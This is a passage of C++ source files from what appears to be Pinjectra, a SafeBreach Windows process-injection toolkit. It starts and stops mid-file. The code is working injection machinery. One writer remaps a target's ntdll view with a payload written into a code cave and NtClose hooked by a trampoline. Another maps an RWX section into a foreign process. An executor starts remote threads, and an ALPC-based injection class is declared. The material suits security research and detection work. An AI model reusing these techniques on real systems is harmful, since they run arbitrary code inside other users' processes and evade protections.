= 47, 102 | SystemSessionDetach = 48, 103 | SystemSessionInformation = 49, 104 | SystemRangeStartInformation = 50, 105 | SystemVerifierInformation = 51, 106 | SystemVerifierThunkExtend = 52, 107 | SystemSessionProcessInformation = 53, 108 | SystemLoadGdiDriverInSystemSpace = 54, 109 | SystemNumaProcessorMap = 55, 110 | SystemPrefetcherInformation = 56, 111 | SystemExtendedProcessInformation = 57, 112 | SystemRecommendedSharedDataAlignment = 58, 113 | SystemComPlusPackage = 59, 114 | SystemNumaAvailableMemory = 60, 115 | SystemProcessorPowerInformation = 61, 116 | SystemEmulationBasicInformation = 62, 117 | SystemEmulationProcessorInformation = 63, 118 | SystemExtendedHandleInformation = 64, 119 | SystemLostDelayedWriteInformation = 65, 120 | SystemBigPoolInformation = 66, 121 | SystemSessionPoolTagInformation = 67, 122 | SystemSessionMappedViewInformation = 68, 123 | SystemHotpatchInformation = 69, 124 | SystemObjectSecurityMode = 70, 125 | SystemWatchdogTimerHandler = 71, 126 | SystemWatchdogTimerInformation = 72, 127 | SystemLogicalProcessorInformation = 73, 128 | SystemWow64SharedInformation = 74, 129 | SystemRegisterFirmwareTableInformationHandler = 75, 130 | SystemFirmwareTableInformation = 76, 131 | SystemModuleInformationEx = 77, 132 | SystemVerifierTriageInformation = 78, 133 | SystemSuperfetchInformation = 79, 134 | SystemMemoryListInformation = 80, 135 | SystemFileCacheInformationEx = 81, 136 | MaxSystemInfoClass = 82 // MaxSystemInfoClass should always be the last enum 137 | 138 | } SYSTEM_INFORMATION_CLASS; 139 | 140 | typedef enum _OBJECT_INFORMATION_CLASS { 141 | ObjectBasicInformation, 142 | ObjectTypeInformation 143 | } OBJECT_INFORMATION_CLASS; 144 | 145 | // this structure is derived from TP_CALLBACK_ENVIRON_V3, 146 | // but also includes two additional values. one to hold 147 | // the callback function and the other is a callback parameter 148 | typedef struct _TP_CALLBACK_ENVIRONX { 149 | DWORD64 Version; 150 | DWORD64 Pool; 151 | DWORD64 CleanupGroup; 152 | DWORD64 CleanupGroupCancelCallback; 153 | DWORD64 RaceDll; 154 | DWORD64 ActivationContext; 155 | DWORD64 FinalizationCallback; 156 | DWORD64 Flags; 157 | DWORD64 CallbackPriority; 158 | DWORD64 Size; 159 | DWORD64 Callback; 160 | DWORD64 CallbackParameter; 161 | } TP_CALLBACK_ENVIRONX, * PTP_CALLBACK_ENVIRONX; 162 | 163 | typedef VOID* POBJECT; 164 | 165 | typedef struct _SYSTEM_HANDLE { 166 | ULONG uIdProcess; 167 | UCHAR ObjectType; // OB_TYPE_* (OB_TYPE_TYPE, etc.) 168 | UCHAR Flags; // HANDLE_FLAG_* (HANDLE_FLAG_INHERIT, etc.) 169 | USHORT Handle; 170 | POBJECT pObject; 171 | ACCESS_MASK GrantedAccess; 172 | } SYSTEM_HANDLE, * PSYSTEM_HANDLE; 173 | 174 | typedef struct _SYSTEM_HANDLE_INFORMATION 175 | { 176 | ULONG HandleCount; 177 | SYSTEM_HANDLE Handles[1]; 178 | } SYSTEM_HANDLE_INFORMATION, * PSYSTEM_HANDLE_INFORMATION; 179 | 180 | typedef struct _UNICODE_STRING { 181 | USHORT Length; 182 | USHORT MaximumLength; 183 | PWSTR Buffer; 184 | } UNICODE_STRING, * PUNICODE_STRING; 185 | 186 | typedef struct _OBJECT_NAME_INFORMATION 187 | { 188 | UNICODE_STRING Name; 189 | } OBJECT_NAME_INFORMATION, * POBJECT_NAME_INFORMATION; 190 | 191 | typedef struct 192 | { 193 | HANDLE hp; 194 | std::vector ports; 195 | DWORD pid; 196 | BYTE* payload; 197 | DWORD64 payloadSize; 198 | } process_info; 199 | 200 | typedef struct _tp_param_t { 201 | DWORD64 Callback; 202 | DWORD64 CallbackParameter; 203 | } tp_param; 204 | 205 | // Classes 206 | class CodeViaALPC : 207 | public ExecutionTechnique 208 | { 209 | public: 210 | // Constructor & Destructor 211 | CodeViaALPC(AdvanceMemoryWriter* memwriter) 212 | :m_memwriter(memwriter) { } 213 | ~CodeViaALPC(); 214 | 215 | // Methods 216 | boolean inject(DWORD pid, DWORD tid); 217 | 218 | private: 219 | // Methods 220 | BOOL IsValidCBE(HANDLE hProcess, PTP_CALLBACK_ENVIRONX cbe); 221 | DWORD64 GetALPCPorts(process_info* pi); 222 | BOOL ALPC_Connect(std::wstring path); 223 | BOOL ALPC_deploy(process_info* pi, LPVOID ds, PTP_CALLBACK_ENVIRONX cbe); 224 | BOOL FindCallback(process_info* pi, LPVOID BaseAddress, SIZE_T RegionSize); 225 | BOOL ScanProcess(process_info* pi); 226 | 227 | protected: 228 | // Members 229 | AdvanceMemoryWriter* m_memwriter; 230 | 231 | }; 232 | 233 | -------------------------------------------------------------------------------- /Pinjector/Adapters.cpp: -------------------------------------------------------------------------------- 1 | // Copyright (c) 2019, SafeBreach 2 | // All rights reserved. 3 | // 4 | // Redistribution and use in source and binary forms, with or without 5 | // modification, are permitted provided that the following conditions are met: 6 | // 7 | // * Redistributions of source code must retain the above copyright notice, 8 | // this list of conditions and the following disclaimer. 9 | // * Redistributions in binary form must reproduce the above copyright 10 | // notice, this list of conditions and the following disclaimer in the 11 | // documentation and/or other materials provided with the distribution. 12 | // * Neither the name of the copyright holder nor the names of its 13 | // contributors may be used to endorse or promote products derived from 14 | // this software without specific prior written permission. 15 | // 16 | // THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" 17 | // AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE 18 | // IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE 19 | // ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE 20 | // LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR 21 | // CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF 22 | // SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS 23 | // INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN 24 | // CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) 25 | // ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE 26 | // POSSIBILITY OF SUCH DAMAGE. 27 | 28 | // AUTHORS: Amit Klein, Itzik Kotler 29 | // SEE: https://github.com/SafeBreach-Labs/Pinjectra 30 | 31 | #include "WritingTechniques.h" 32 | 33 | ////////////////////////////////////////// 34 | // ComplexToAdvanceMemoryWriter Adapter // 35 | ////////////////////////////////////////// 36 | 37 | ComplexToMutableAdvanceMemoryWriter::~ComplexToMutableAdvanceMemoryWriter() { 38 | 39 | } 40 | 41 | PINJECTRA_PACKET* ComplexToMutableAdvanceMemoryWriter::eval_and_write(TARGET_PROCESS* target, TStrDWORD64Map& params) { 42 | PINJECTRA_PACKET* payload_output; 43 | RUNTIME_MEM_ENTRY* writer_output; 44 | 45 | // Evaulate Payload 46 | payload_output = this->m_payload->eval(params); 47 | 48 | // Update Writer 49 | this->m_writer->SetBuffer(payload_output->buffer); 50 | this->m_writer->SetBufferSize(payload_output->buffer_size); 51 | 52 | // Write! 53 | writer_output = this->m_writer->writeto(target->process, 0); 54 | 55 | // Hijack Payload Output 56 | free(payload_output->buffer); 57 | payload_output->buffer = writer_output->addr; 58 | payload_output->buffer_size = writer_output->tot_write; 59 | 60 | return payload_output; 61 | } 62 | -------------------------------------------------------------------------------- /Pinjector/CFMA_MVOF_NUVOS_NMVOS.cpp: -------------------------------------------------------------------------------- 1 | // Copyright (c) 2019, SafeBreach 2 | // All rights reserved. 3 | // 4 | // Redistribution and use in source and binary forms, with or without 5 | // modification, are permitted provided that the following conditions are met: 6 | // 7 | // * Redistributions of source code must retain the above copyright notice, 8 | // this list of conditions and the following disclaimer. 9 | // * Redistributions in binary form must reproduce the above copyright 10 | // notice, this list of conditions and the following disclaimer in the 11 | // documentation and/or other materials provided with the distribution. 12 | // * Neither the name of the copyright holder nor the names of its 13 | // contributors may be used to endorse or promote products derived from 14 | // this software without specific prior written permission. 15 | // 16 | // THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" 17 | // AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE 18 | // IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE 19 | // ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE 20 | // LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR 21 | // CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF 22 | // SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS 23 | // INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN 24 | // CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) 25 | // ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE 26 | // POSSIBILITY OF SUCH DAMAGE. 27 | 28 | // AUTHORS: Amit Klein, Itzik Kotler 29 | // SEE: https://github.com/SafeBreach-Labs/Pinjectra 30 | 31 | #include 32 | 33 | #include 34 | 35 | #include "CFMA_MVOF_NUVOS_NMVOS.h" 36 | 37 | #include "ntapi.h" 38 | 39 | static NTSTATUS(*PNtMapViewOfSection)( 40 | HANDLE SectionHandle, 41 | HANDLE ProcessHandle, 42 | PVOID* BaseAddress, 43 | ULONG_PTR ZeroBits, 44 | SIZE_T CommitSize, 45 | PLARGE_INTEGER SectionOffset, 46 | PSIZE_T ViewSize, 47 | SECTION_INHERIT InheritDisposition, 48 | ULONG AllocationType, 49 | ULONG Win32Protect 50 | ); 51 | 52 | static NTSTATUS(*PNtUnmapViewOfSection)( 53 | HANDLE ProcessHandle, 54 | PVOID BaseAddress); 55 | 56 | ///////////// 57 | // Classes // 58 | ///////////// 59 | 60 | CreateFileMappingA_MapViewOfFile_NtUnmapViewOfSection_NtMapViewOfSection::~CreateFileMappingA_MapViewOfFile_NtUnmapViewOfSection_NtMapViewOfSection() 61 | { 62 | } 63 | 64 | PINJECTRA_PACKET* CreateFileMappingA_MapViewOfFile_NtUnmapViewOfSection_NtMapViewOfSection::eval_and_write(TARGET_PROCESS* target, TStrDWORD64Map& params) 65 | { 66 | HANDLE p = target->process; 67 | PINJECTRA_PACKET* payload_output; 68 | PNtMapViewOfSection = (NTSTATUS(*)(HANDLE SectionHandle, HANDLE ProcessHandle, PVOID * BaseAddress, ULONG_PTR ZeroBits, SIZE_T CommitSize, PLARGE_INTEGER SectionOffset, PSIZE_T ViewSize, SECTION_INHERIT InheritDisposition, ULONG AllocationType, ULONG Win32Protect))GetProcAddress(GetModuleHandleA("ntdll.dll"), "NtMapViewOfSection"); 69 | PNtUnmapViewOfSection = (NTSTATUS(*)(HANDLE SectionHandle, HANDLE ProcessHandle))GetProcAddress(GetModuleHandleA("ntdll.dll"), "NtUnmapViewOfSection"); 70 | 71 | // Evaluate Payload 72 | payload_output = this->m_dynamic_payload->eval(params); 73 | TStrDWORD64Map& tMetadata = *payload_output->metadata; 74 | void *target_cave = (void *)tMetadata["TARGET_CAVE"]; 75 | void *target_fcn = (void *)tMetadata["TARGET_FUNCTION"]; 76 | char *trampo = (char *)tMetadata["TRAMPO"]; 77 | char *target_mod = (char *)tMetadata["TARGET"]; 78 | 79 | MODULEINFO modinfo; 80 | GetModuleInformation(GetCurrentProcess(), GetModuleHandleA((char *)target_mod), &modinfo, sizeof(modinfo)); 81 | int size = modinfo.SizeOfImage; 82 | 83 | HANDLE fm = CreateFileMappingA(INVALID_HANDLE_VALUE, NULL, PAGE_EXECUTE_READWRITE, 0, size, NULL); 84 | //printf("Handle (fm): %p\n", fm); 85 | 86 | char* map_addr = (char*)MapViewOfFile(fm, FILE_MAP_ALL_ACCESS, 0, 0, 0); 87 | //printf("map address: %p\n", map_addr); 88 | 89 | __int64 actually_read = 0; 90 | ReadProcessMemory(p, GetModuleHandleA((char *)target_mod), map_addr, size, (SIZE_T*)& actually_read); 91 | if (actually_read != size) 92 | { 93 | printf("OOOPS: actually read: %lld, expecting %d\n", actually_read, size); 94 | } 95 | assert(target_fcn == GetProcAddress(GetModuleHandleA("ntdll"), "NtClose")); 96 | assert(target_cave == GetProcAddress(GetModuleHandleA("ntdll"), "atan")); 97 | memcpy(map_addr + (__int64)target_cave - (__int64)GetModuleHandleA((char *)target_mod), payload_output->buffer, payload_output->buffer_size); 98 | memcpy(map_addr + (__int64)target_fcn - (__int64)GetModuleHandleA((char *)target_mod), trampo, 12); 99 | LPVOID lpMap = GetModuleHandleA((char *)target_mod); 100 | SIZE_T viewsize = 0; 101 | 102 | (*PNtUnmapViewOfSection)(p, lpMap); 103 | 104 | (*PNtMapViewOfSection)(fm, p, &lpMap, 0, size, nullptr, &viewsize, ViewUnmap, 0, PAGE_EXECUTE_READWRITE); // "The default behavior for executable pages allocated is to be marked valid call targets for CFG." (https://docs.microsoft.com/en-us/windows/desktop/api/memoryapi/nf-memoryapi-mapviewoffile) 105 | //printf("Section mapped to %p in target process, %lld bytes\n", lpMap, viewsize); 106 | 107 | FlushInstructionCache(p, lpMap, size); 108 | 109 | return payload_output; 110 | } 111 | -------------------------------------------------------------------------------- /Pinjector/CFMA_MVOF_NUVOS_NMVOS.h: -------------------------------------------------------------------------------- 1 | // Copyright (c) 2019, SafeBreach 2 | // All rights reserved. 3 | // 4 | // Redistribution and use in source and binary forms, with or without 5 | // modification, are permitted provided that the following conditions are met: 6 | // 7 | // * Redistributions of source code must retain the above copyright notice, 8 | // this list of conditions and the following disclaimer. 9 | // * Redistributions in binary form must reproduce the above copyright 10 | // notice, this list of conditions and the following disclaimer in the 11 | // documentation and/or other materials provided with the distribution. 12 | // * Neither the name of the copyright holder nor the names of its 13 | // contributors may be used to endorse or promote products derived from 14 | // this software without specific prior written permission. 15 | // 16 | // THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" 17 | // AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE 18 | // IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE 19 | // ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE 20 | // LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR 21 | // CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF 22 | // SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS 23 | // INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN 24 | // CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) 25 | // ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE 26 | // POSSIBILITY OF SUCH DAMAGE. 27 | 28 | // AUTHORS: Amit Klein, Itzik Kotler 29 | // SEE: https://github.com/SafeBreach-Labs/Pinjectra 30 | 31 | #pragma once 32 | 33 | #define _CRT_SECURE_NO_WARNINGS 34 | #include 35 | #include 36 | #include 37 | #include 38 | 39 | #include "WritingTechniques.h" 40 | 41 | #include "ntapi.h" 42 | 43 | // Classes 44 | class CreateFileMappingA_MapViewOfFile_NtUnmapViewOfSection_NtMapViewOfSection : 45 | public ComplexMemoryWriter 46 | { 47 | public: 48 | // Constructor & Destructor 49 | CreateFileMappingA_MapViewOfFile_NtUnmapViewOfSection_NtMapViewOfSection(DynamicPayload* dynamic_payload) : 50 | m_dynamic_payload(dynamic_payload) { } 51 | 52 | ~CreateFileMappingA_MapViewOfFile_NtUnmapViewOfSection_NtMapViewOfSection(); 53 | 54 | // Methods 55 | PINJECTRA_PACKET* eval_and_write(TARGET_PROCESS* target, TStrDWORD64Map& params); 56 | 57 | protected: 58 | // Members 59 | DynamicPayload* m_dynamic_payload; 60 | }; 61 | -------------------------------------------------------------------------------- /Pinjector/CFMA_MVOF_OP_PNMVOS.cpp: -------------------------------------------------------------------------------- 1 | // Copyright (c) 2019, SafeBreach 2 | // All rights reserved. 3 | // 4 | // Redistribution and use in source and binary forms, with or without 5 | // modification, are permitted provided that the following conditions are met: 6 | // 7 | // * Redistributions of source code must retain the above copyright notice, 8 | // this list of conditions and the following disclaimer. 9 | // * Redistributions in binary form must reproduce the above copyright 10 | // notice, this list of conditions and the following disclaimer in the 11 | // documentation and/or other materials provided with the distribution. 12 | // * Neither the name of the copyright holder nor the names of its 13 | // contributors may be used to endorse or promote products derived from 14 | // this software without specific prior written permission. 15 | // 16 | // THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" 17 | // AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE 18 | // IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE 19 | // ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE 20 | // LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR 21 | // CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF 22 | // SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS 23 | // INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN 24 | // CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) 25 | // ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE 26 | // POSSIBILITY OF SUCH DAMAGE. 27 | 28 | // AUTHORS: Amit Klein, Itzik Kotler 29 | // SEE: https://github.com/SafeBreach-Labs/Pinjectra 30 | 31 | #include 32 | 33 | #include "CFMA_MVOF_OP_PNMVOS.h" 34 | 35 | #include "ntapi.h" 36 | 37 | static NTSTATUS(*PNtMapViewOfSection)( 38 | HANDLE SectionHandle, 39 | HANDLE ProcessHandle, 40 | PVOID* BaseAddress, 41 | ULONG_PTR ZeroBits, 42 | SIZE_T CommitSize, 43 | PLARGE_INTEGER SectionOffset, 44 | PSIZE_T ViewSize, 45 | SECTION_INHERIT InheritDisposition, 46 | ULONG AllocationType, 47 | ULONG Win32Protect 48 | ); 49 | 50 | ///////////// 51 | // Classes // 52 | ///////////// 53 | 54 | CreateFileMappingA_MapViewOfFile_OpenProcess_PNtMapViewOfSection::~CreateFileMappingA_MapViewOfFile_OpenProcess_PNtMapViewOfSection() 55 | { 56 | } 57 | 58 | RUNTIME_MEM_ENTRY* CreateFileMappingA_MapViewOfFile_OpenProcess_PNtMapViewOfSection::write(DWORD pid, DWORD tid) 59 | { 60 | RUNTIME_MEM_ENTRY* ret_entry; 61 | HANDLE fm; 62 | char* map_addr; 63 | HANDLE hProcess; 64 | LPVOID lpMap = 0; 65 | SIZE_T viewsize = 0; 66 | PNtMapViewOfSection = (NTSTATUS(*)(HANDLE SectionHandle, HANDLE ProcessHandle, PVOID * BaseAddress, ULONG_PTR ZeroBits, SIZE_T CommitSize, PLARGE_INTEGER SectionOffset, PSIZE_T ViewSize, SECTION_INHERIT InheritDisposition, ULONG AllocationType, ULONG Win32Protect))GetProcAddress(GetModuleHandleA("ntdll.dll"), "NtMapViewOfSection"); 67 | 68 | fm = CreateFileMappingA(INVALID_HANDLE_VALUE, NULL, PAGE_EXECUTE_READWRITE, 0, this->m_nbyte, NULL); 69 | 70 | map_addr = (char*)MapViewOfFile(fm, FILE_MAP_ALL_ACCESS, 0, 0, 0); 71 | 72 | memcpy(map_addr, this->m_buf, this->m_nbyte); 73 | 74 | hProcess = OpenProcess(PROCESS_VM_OPERATION | PROCESS_CREATE_THREAD, FALSE, pid); 75 | 76 | (*PNtMapViewOfSection)(fm, hProcess, &lpMap, 0, this->m_nbyte, nullptr, &viewsize, ViewUnmap, 0, PAGE_EXECUTE_READWRITE); // "The default behavior for executable pages allocated is to be marked valid call targets for CFG." (https://docs.microsoft.com/en-us/windows/desktop/api/memoryapi/nf-memoryapi-mapviewoffile) 77 | 78 | // Fill in 79 | ret_entry = (RUNTIME_MEM_ENTRY*)malloc(sizeof(RUNTIME_MEM_ENTRY)); 80 | 81 | if (ret_entry == NULL) 82 | return NULL; 83 | 84 | ret_entry->thread = NULL; 85 | ret_entry->process = hProcess; 86 | ret_entry->addr = map_addr; 87 | ret_entry->entry_point = lpMap; 88 | 89 | return ret_entry; 90 | } 91 | -------------------------------------------------------------------------------- /Pinjector/CFMA_MVOF_OP_PNMVOS.h: -------------------------------------------------------------------------------- 1 | // Copyright (c) 2019, SafeBreach 2 | // All rights reserved. 3 | // 4 | // Redistribution and use in source and binary forms, with or without 5 | // modification, are permitted provided that the following conditions are met: 6 | // 7 | // * Redistributions of source code must retain the above copyright notice, 8 | // this list of conditions and the following disclaimer. 9 | // * Redistributions in binary form must reproduce the above copyright 10 | // notice, this list of conditions and the following disclaimer in the 11 | // documentation and/or other materials provided with the distribution. 12 | // * Neither the name of the copyright holder nor the names of its 13 | // contributors may be used to endorse or promote products derived from 14 | // this software without specific prior written permission. 15 | // 16 | // THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" 17 | // AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE 18 | // IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE 19 | // ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE 20 | // LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR 21 | // CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF 22 | // SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS 23 | // INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN 24 | // CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) 25 | // ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE 26 | // POSSIBILITY OF SUCH DAMAGE. 27 | 28 | // AUTHORS: Amit Klein, Itzik Kotler 29 | // SEE: https://github.com/SafeBreach-Labs/Pinjectra 30 | 31 | #pragma once 32 | 33 | // Local Include's 34 | #include "WritingTechniques.h" 35 | 36 | #include "ntapi.h" 37 | 38 | // Classes 39 | class CreateFileMappingA_MapViewOfFile_OpenProcess_PNtMapViewOfSection : 40 | public SimpleMemoryWriter 41 | { 42 | public: 43 | // Constructor & Destructor 44 | CreateFileMappingA_MapViewOfFile_OpenProcess_PNtMapViewOfSection(void* buf, size_t nbyte) 45 | :m_buf(buf), m_nbyte(nbyte) { } 46 | ~CreateFileMappingA_MapViewOfFile_OpenProcess_PNtMapViewOfSection(); 47 | 48 | // Methods 49 | RUNTIME_MEM_ENTRY* write(DWORD pid, DWORD tid); 50 | 51 | protected: 52 | // Members 53 | void* m_buf; 54 | size_t m_nbyte; 55 | }; 56 | -------------------------------------------------------------------------------- /Pinjector/CreateRemoteThread.cpp: -------------------------------------------------------------------------------- 1 | // Copyright (c) 2019, SafeBreach 2 | // All rights reserved. 3 | // 4 | // Redistribution and use in source and binary forms, with or without 5 | // modification, are permitted provided that the following conditions are met: 6 | // 7 | // * Redistributions of source code must retain the above copyright notice, 8 | // this list of conditions and the following disclaimer. 9 | // * Redistributions in binary form must reproduce the above copyright 10 | // notice, this list of conditions and the following disclaimer in the 11 | // documentation and/or other materials provided with the distribution. 12 | // * Neither the name of the copyright holder nor the names of its 13 | // contributors may be used to endorse or promote products derived from 14 | // this software without specific prior written permission. 15 | // 16 | // THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" 17 | // AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE 18 | // IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE 19 | // ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE 20 | // LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR 21 | // CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF 22 | // SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS 23 | // INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN 24 | // CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) 25 | // ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE 26 | // POSSIBILITY OF SUCH DAMAGE. 27 | 28 | // AUTHORS: Amit Klein, Itzik Kotler 29 | // SEE: https://github.com/SafeBreach-Labs/Pinjectra 30 | 31 | #include "CreateRemoteThread.h" 32 | 33 | CodeViaCreateRemoteThread::~CodeViaCreateRemoteThread() 34 | { 35 | } 36 | 37 | boolean CodeViaCreateRemoteThread::inject(DWORD pid, DWORD tid) { 38 | 39 | RUNTIME_MEM_ENTRY* result = this->m_memwriter->write(pid, tid); 40 | 41 | // User didn't override Entry Point? Use Writer's one! 42 | if (this->m_entry_point == NULL) 43 | this->m_entry_point = result->entry_point; 44 | 45 | HANDLE injected_thread = CreateRemoteThread(result->process, 46 | NULL, 47 | 0, (LPTHREAD_START_ROUTINE)this->m_entry_point, 48 | result->addr, 49 | 0, NULL); 50 | 51 | return injected_thread == NULL; 52 | } 53 | -------------------------------------------------------------------------------- /Pinjector/CreateRemoteThread.h: -------------------------------------------------------------------------------- 1 | // Copyright (c) 2019, SafeBreach 2 | // All rights reserved. 3 | // 4 | // Redistribution and use in source and binary forms, with or without 5 | // modification, are permitted provided that the following conditions are met: 6 | // 7 | // * Redistributions of source code must retain the above copyright notice, 8 | // this list of conditions and the following disclaimer. 9 | // * Redistributions in binary form must reproduce the above copyright 10 | // notice, this list of conditions and the following disclaimer in the 11 | // documentation and/or other materials provided with the distribution. 12 | // * Neither the name of the copyright holder nor the names of its 13 | // contributors may be used to endorse or promote products derived from 14 | // this software without specific prior written permission. 15 | // 16 | // THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" 17 | // AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE 18 | // IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE 19 | // ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE 20 | // LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR 21 | // CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF 22 | // SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS 23 | // INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN 24 | // CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) 25 | // ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE 26 | // POSSIBILITY OF SUCH DAMAGE. 27 | 28 | // AUTHORS: Amit Klein, Itzik Kotler 29 | // SEE: https://github.com/SafeBreach-Labs/Pinjectra 30 | 31 | #pragma once 32 | 33 | // Local Include's 34 | #include "ExecutionTechnique.h" 35 | #include "WritingTechniques.h" 36 | 37 | // Classes 38 | class CodeViaCreateRemoteThread : 39 | public ExecutionTechnique 40 | { 41 | public: 42 | // Constructor & Destructor 43 | CodeViaCreateRemoteThread(SimpleMemoryWriter* memwriter, void *entry = NULL) 44 | :m_memwriter(memwriter), m_entry_point(entry) {} 45 | ~CodeViaCreateRemoteThread(); 46 | 47 | // Methods 48 | boolean inject(DWORD pid, DWORD tid); 49 | 50 | protected: 51 | // Members 52 | SimpleMemoryWriter* m_memwriter; 53 | void* m_entry_point; 54 | }; 55 | 56 | -------------------------------------------------------------------------------- /Pinjector/CtrlInject.cpp: -------------------------------------------------------------------------------- 1 | // Copyright (c) 2019, SafeBreach 2 | // All rights reserved. 3 | // 4 | // Redistribution and use in source and binary forms, with or without 5 | // modification, are permitted provided that the following conditions are met: 6 | // 7 | // * Redistributions of source code must retain the above copyright notice, 8 | // this list of conditions and the following disclaimer. 9 | // * Redistributions in binary form must reproduce the above copyright 10 | // notice, this list of conditions and the following disclaimer in the 11 | // documentation and/or other materials provided with the distribution. 12 | // * Neither the name of the copyright holder nor the names of its 13 | // contributors may be used to endorse or promote products derived from 14 | // this software without specific prior written permission. 15 | // 16 | // THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS 